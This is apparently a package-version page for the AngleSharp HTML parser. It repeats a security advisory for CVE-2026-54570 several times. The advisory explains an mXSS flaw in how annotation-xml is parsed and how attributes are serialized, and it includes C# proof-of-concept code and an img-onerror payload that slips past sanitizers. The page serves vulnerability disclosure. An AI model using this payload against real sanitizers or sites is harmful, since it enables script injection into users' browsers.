AngleSharp

Version	Released
`1.7.0-beta.583` pre	Jul 30, 2026
`1.7.0-beta.580` pre	Jul 29, 2026
`1.7.0-beta.579` pre	Jul 29, 2026
`1.7.0-beta.578` pre	Jul 29, 2026
`1.6.0-beta.577` pre	Jul 29, 2026
`1.6.0-beta.575` pre	Jul 28, 2026
`1.6.0` minor	Jul 26, 2026
`1.6.0-beta.571` pre	Jul 26, 2026
`1.6.0-beta.570` pre	Jul 26, 2026
`1.6.0-beta.569` pre	Jul 22, 2026
`1.6.0-beta.568` pre	Jul 22, 2026
`1.5.3-beta.567` pre	Jul 22, 2026
`1.5.3-beta.564` pre	Jul 16, 2026
`1.5.3-beta.556` pre	Jul 14, 2026
`1.5.3-beta.553` pre	Jul 10, 2026
`1.5.2` patch	Jul 05, 2026
`1.5.2-beta.548` pre	Jul 05, 2026
`1.5.2-beta.547` pre	Jul 05, 2026
`1.5.1-beta.546` pre	Jul 05, 2026
`1.5.1-beta.544` pre	Jul 05, 2026
`1.5.1-beta.545` pre	Jul 05, 2026
`1.5.1-beta.543` pre	Jul 05, 2026
`1.5.1-beta.542` pre	Jul 05, 2026
`1.5.1-beta.534` pre	Jun 21, 2026
`1.5.1` patch	Jun 12, 2026
`1.5.1-beta.530` pre	Jun 09, 2026
`1.5.0-beta.529` pre 1 CVE	Jun 09, 2026
`1.5.0` minor	Jun 06, 2026
`1.5.0-beta.526` pre 1 CVE	Jun 06, 2026
`1.4.1-beta.525` pre 1 CVE	Jun 05, 2026
`1.4.1-beta.523` pre 1 CVE	Apr 20, 2026
`1.4.1-beta.518` pre 1 CVE	Apr 02, 2026
`1.4.1-beta.509` pre 1 CVE	Mar 30, 2026
`1.4.1-beta.508` pre 1 CVE	Mar 30, 2026
`1.4.1-beta.506` pre 1 CVE	Dec 15, 2025
`1.4.1-beta.505` pre 1 CVE	Dec 02, 2025
`1.4.1-beta.504` pre 1 CVE	Nov 30, 2025
`1.4.1-beta.502` pre 1 CVE	Nov 14, 2025
`1.4.0` minor 1 CVE	Nov 12, 2025
`1.4.0-beta.499` pre 1 CVE	Nov 12, 2025
`1.4.0-beta.497` pre 1 CVE	Nov 12, 2025
`1.4.0-beta.496` pre 1 CVE	Nov 10, 2025
`1.4.0-beta.495` pre 1 CVE	Nov 09, 2025
`1.4.0-beta.493` pre 1 CVE	Nov 09, 2025
`1.3.1` patch 1 CVE	Nov 08, 2025
`1.3.1-beta.491` pre 1 CVE	Jul 22, 2025
`1.3.1-beta.490` pre 1 CVE	Jul 14, 2025
`1.3.1-beta.486` pre 1 CVE	May 26, 2025
`1.3.0-beta.484` pre 1 CVE	May 23, 2025
`1.3.0` minor 1 CVE	Apr 18, 2025

1.7.0-beta.583 pre

Jul 30, 2026

1.7.0-beta.580 pre

Jul 29, 2026

1.7.0-beta.579 pre

Jul 29, 2026

1.7.0-beta.578 pre

Jul 29, 2026

1.6.0-beta.577 pre

Jul 29, 2026

1.6.0-beta.575 pre

Jul 28, 2026

1.6.0 minor

Jul 26, 2026

1.6.0-beta.571 pre

Jul 26, 2026

1.6.0-beta.570 pre

Jul 26, 2026

1.6.0-beta.569 pre

Jul 22, 2026

1.6.0-beta.568 pre

Jul 22, 2026

1.5.3-beta.567 pre

Jul 22, 2026

1.5.3-beta.564 pre

Jul 16, 2026

1.5.3-beta.556 pre

Jul 14, 2026

1.5.3-beta.553 pre

Jul 10, 2026

1.5.2 patch

Jul 05, 2026

1.5.2-beta.548 pre

Jul 05, 2026

1.5.2-beta.547 pre

Jul 05, 2026

1.5.1-beta.546 pre

Jul 05, 2026

1.5.1-beta.544 pre

Jul 05, 2026

1.5.1-beta.545 pre

Jul 05, 2026

1.5.1-beta.543 pre

Jul 05, 2026

1.5.1-beta.542 pre

Jul 05, 2026

1.5.1-beta.534 pre

Jun 21, 2026

1.5.1 patch

Jun 12, 2026

1.5.1-beta.530 pre

Jun 09, 2026

1.5.0-beta.529 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Jun 09, 2026

1.5.0 minor

Jun 06, 2026

1.5.0-beta.526 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Jun 06, 2026

1.4.1-beta.525 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


